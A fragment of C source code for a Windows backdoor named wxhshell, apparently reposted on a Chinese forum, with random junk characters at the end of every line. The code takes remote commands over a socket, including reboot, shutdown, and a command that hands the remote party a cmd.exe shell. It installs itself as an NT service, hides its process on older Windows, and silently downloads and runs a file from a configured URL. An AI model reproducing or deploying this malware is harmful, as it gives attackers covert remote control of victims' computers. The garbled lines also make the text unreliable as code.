  } `J}-U\4F{  
  else { <e%~K4KH  
"v9i;Ba>+  
    switch(cmd[0]) { Pqc +pE  
  0s%rd>3  
  // 帮助 3~uWrZ.u  
  case '?': { GSh~j-C'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G"'[dL)N>  
    break; 4\?GA`@  
  } q&y9(ZvI  
  // 安装 TzW1+DxM5  
  case 'i': { :+nECk   
    if(Install()) ktMUTL(B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J BN_Upat  
    else j& x=?jX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IxxA8[^V  
    break; Nsd7?|@HI  
    } ji(Y?vhQt  
  // 卸载 UVIR P#  
  case 'r': { V,W":&!x  
    if(Uninstall()) \a|bx4M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RlH~<|XK  
    else w'-J24>=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \XUG-\$p  
    break; , 7kS#`P  
    } w=txSF&Qr  
  // 显示 wxhshell 所在路径 !UV/p"CfX  
  case 'p': { E{-W#}#  
    char svExeFile[MAX_PATH]; 1~x=bphS  
    strcpy(svExeFile,"\n\r"); Q5N;MpJ-  
      strcat(svExeFile,ExeFile); p 7YfOUo k  
        send(wsh,svExeFile,strlen(svExeFile),0); )Fo1[:_B '  
    break; wv~?<DF  
    } tUp'cG  
  // 重启 M-B-  
  case 'b': { ZMVQo -=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h{sY5d'D  
    if(Boot(REBOOT)) xzRs;AXOp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^s k?E  
    else { *Y@)t* -a  
    closesocket(wsh); J6) &b7  
    ExitThread(0); M]Y72K^  
    } PI~W6a7p  
    break; jC)lWD  
    } M_4:~&N$  
  // 关机 d/Z258  
  case 'd': { zJp@\Yo+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r:&"#F   
    if(Boot(SHUTDOWN)) MZ8jL,a^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zP|y3`. 52  
    else { FZEK-]h.  
    closesocket(wsh); 3]X9 z  
    ExitThread(0); '|\et aD  
    } y,*>+xk,  
    break; DM-8azq $  
    } -%U 15W;  
  // 获取shell JVORz-uBs  
  case 's': { S!<1C Fh  
    CmdShell(wsh); kJJUu  
    closesocket(wsh); G2nL#l~@)  
    ExitThread(0); ]J t8]w  
    break; G*;}6 bj|?  
  } M =!RJ%6f  
  // 退出 MBbycI,  
  case 'x': { bHr2LhQCN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e%v<nGN.-  
    CloseIt(wsh); Zm:Wig ,a  
    break; Kzs]+Cl  
    } _/W[=c   
  // 离开 sI u{_b  
  case 'q': { #L{+V?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wXc"Car)  
    closesocket(wsh); +7jr]kP9  
    WSACleanup(); P}%0YJ$6  
    exit(1); M1MpR+7S  
    break; &AMW?vO  
        } *ay>MlcV2=  
  } ~=Y <B/  
  } |EJ&s393&  
\}ujSr#<  
  // 提示信息 D&{ 7Av  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y2 &N#~l*  
} C*}TY)8  
  } 3 <V{.T  
O?8^I<  
  return; uA?_\z?  
} |5wuYG  
yqF$J"=|  
// shell模块句柄 :<OInKE>Cx  
int CmdShell(SOCKET sock) A2o ;YyF  
{ }}3*tn<6  
STARTUPINFO si; sW~Z?PFP  
ZeroMemory(&si,sizeof(si)); gY], (*v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e&C(IEZ/N;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iQczvn)"m  
PROCESS_INFORMATION ProcessInfo; !8"516!d|p  
char cmdline[]="cmd"; fCSM#3|,]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H!Y`?Rc  
  return 0; v/]Bo[a  
} '|0Dt|$  
zh$[UdY6  
// 自身启动模式 ,.` ";='o  
int StartFromService(void) b;&J2:`  
{ P5ii3a?R  
typedef struct  4q)eNcs  
{ 0px@3/  
  DWORD ExitStatus; "D7*en  
  DWORD PebBaseAddress; slEsSR'J]  
  DWORD AffinityMask; . `lcxC  
  DWORD BasePriority; Sd.i1w &  
  ULONG UniqueProcessId; tr2@{xb  
  ULONG InheritedFromUniqueProcessId; @]Ye36v0#L  
}   PROCESS_BASIC_INFORMATION; ;m}lmq,  
N}wi<P:*)  
PROCNTQSIP NtQueryInformationProcess; \xk`o5/{  
S @\Pki+n[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M:c^ [9)y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \%9,< -~[  
KIdlndGs  
  HANDLE             hProcess; b0]y$*{j  
  PROCESS_BASIC_INFORMATION pbi; %@L(A1"#D  
7ZHM;_ -  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?Zu=UVb  
  if(NULL == hInst ) return 0; ~130"WQ;  
U]dz_%CRP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  *5 FSq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7t\W{y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'DlY8rEGP  
3|RfX  
  if (!NtQueryInformationProcess) return 0; <tAn2e!  
Py6c=&*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); St/Hv[H'[E  
  if(!hProcess) return 0; ]j0v.[SX  
?gjM]Ki%:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zb`}/%\7  
pL>Q'{7s3  
  CloseHandle(hProcess); YMnG-'^Z  
E0}`+x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?3Wh. %n  
if(hProcess==NULL) return 0; fR!'i):u  
'OSZ'F3PV  
HMODULE hMod; nJ.p PzH2g  
char procName[255]; !1!;}uzt  
unsigned long cbNeeded; r ,|T@|{  
lRnst-inlI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tR!eYt  
`N}<lg(0#  
  CloseHandle(hProcess); o`\l&jUNe  
gKcP\m  
if(strstr(procName,"services")) return 1; // 以服务启动 4p&qH igG  
uXW<8( %W  
  return 0; // 注册表启动  Yul-.X  
} BqK|4-Pf  
+"Ek? )?  
// 主模块 "m):"  
int StartWxhshell(LPSTR lpCmdLine) ow]S 3[07  
{ e-H:;m5R  
  SOCKET wsl; +bI&0`  
BOOL val=TRUE; cC1nC76[  
  int port=0; ?s#DD,  
  struct sockaddr_in door; %Vrl"4^}t  
q .nsGbl  
  if(wscfg.ws_autoins) Install(); c, \TL ]  
0@{K'm /  
port=atoi(lpCmdLine); %Y:'5\^lC  
`,Q uO  
if(port<=0) port=wscfg.ws_port; [oKc<o7)~"  
`,tv&siSA  
  WSADATA data; /!oi`8D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }k7@ X  
AnG/A!G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lyfLkBF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '81$8xxdY  
  door.sin_family = AF_INET; 7EOn4I2@[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #*j  
  door.sin_port = htons(port); 1C^6'9o  
Qr1%"^4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 52/^>=t  
closesocket(wsl); _ mhP:O  
return 1; 724E(?>J  
} rOE[c  
}:5r#Cd  
  if(listen(wsl,2) == INVALID_SOCKET) { +dS e" W9  
closesocket(wsl); i>_V?OT#5  
return 1; ?o$6w(]''  
} &!2 4l=!  
  Wxhshell(wsl); -uqJ~gD  
  WSACleanup(); > YKvwbCf8  
'{QbjG%<P  
return 0; }N:0%Gk[;  
|L.QIr,jCC  
} 52q@&')D4M  
IX']s;b  
// 以NT服务方式启动 jl{>>TW{x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )i0\U  
{ -wvrc3F  
DWORD   status = 0; X2(TuR*t  
  DWORD   specificError = 0xfffffff; jAfUz7@  
xV}E3Yj2#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iyc}a6g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y+_G L=J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qS*qHT(u19  
  serviceStatus.dwWin32ExitCode     = 0; SWY?0Pu  
  serviceStatus.dwServiceSpecificExitCode = 0; R#`hT  
  serviceStatus.dwCheckPoint       = 0; {kD|8["Ie'  
  serviceStatus.dwWaitHint       = 0; fJn;|'H!  
&Zs h-|N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H\W60|z9  
  if (hServiceStatusHandle==0) return; ,jQkR^]j-  
K!7o#"GM  
status = GetLastError(); 3P\#moJ  
  if (status!=NO_ERROR) |t1D8){!  
{ ah>;wW!6/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {UQpD   
    serviceStatus.dwCheckPoint       = 0; s+2\uMwf*  
    serviceStatus.dwWaitHint       = 0; 3cBuqQ  
    serviceStatus.dwWin32ExitCode     = status; Z=|:D,&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7h<B:~(K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MIub^ $<C  
    return; r4@!QR<h  
  } 5]:fkx  
Q6Vy}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X<Rh-1$8F  
  serviceStatus.dwCheckPoint       = 0; ,v4Z[ (  
  serviceStatus.dwWaitHint       = 0; B#&U5fSw+0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8iB1a6TlL  
} :iD( [V  
/d%&s^M:  
// 处理NT服务事件,比如:启动、停止 R;.zS^LL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6k%N\!_TUW  
{ @OZW1p  
switch(fdwControl) YC - -&66  
{ -\b~R7VQ  
case SERVICE_CONTROL_STOP: C8}ujC  
  serviceStatus.dwWin32ExitCode = 0; L)H7~.Dj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q1mz~r  
  serviceStatus.dwCheckPoint   = 0; ^2mmgN   
  serviceStatus.dwWaitHint     = 0; |eAl!k  
  { L7el5Q!Y=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A7>0Pn%D3  
  } t/yGMR=  
  return; ~P 1(%FZ  
case SERVICE_CONTROL_PAUSE: 3+u11'0=t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $xNM^O  
  break; cF_ Y}C  
case SERVICE_CONTROL_CONTINUE: v*7}ux8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M&Sjo' ( .  
  break; DNcf2_m  
case SERVICE_CONTROL_INTERROGATE: d^ L` dot  
  break; 1Y$ gt  
}; i64a]=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5&D)W>{d  
} v T2YX5k&,  
j!B+Q  
// 标准应用程序主函数 oJK1~;:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wqx@/--E(  
{ b? jRA^  
x* *]@v"g  
// 获取操作系统版本 {"S"V  
OsIsNt=GetOsVer(); oFB~)}f<v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ac 0C,*|^  
I7ZY9W(S  
  // 从命令行安装 )WF]v"t  
  if(strpbrk(lpCmdLine,"iI")) Install(); UX}ZE.cV  
!*HH5qh6  
  // 下载执行文件 w{f!t8C*s  
if(wscfg.ws_downexe) { /5 B{szf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RMUR@o5N  
  WinExec(wscfg.ws_filenam,SW_HIDE); L}UJ`U  
} mRZC98$ @r  
,+-l1GpL  
if(!OsIsNt) { ~KHGh29  
// 如果时win9x,隐藏进程并且设置为注册表启动 -'BC*fVr  
HideProc(); mnZ/rb  
StartWxhshell(lpCmdLine); .I$ Q3%s  
} C&YJvMu  
else ];i-d7C  
  if(StartFromService()) 3`uv/O2~i  
  // 以服务方式启动 6My=GByC  
  StartServiceCtrlDispatcher(DispatchTable); |=L~>G  
else pp@Jndlg  
  // 普通方式启动 [* ,k  
  StartWxhshell(lpCmdLine); _ +[;NBz  
f4YcZyBGv  
return 0; ((&_m9a  
}
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只看该作者 1 发表于: 2006-10-10
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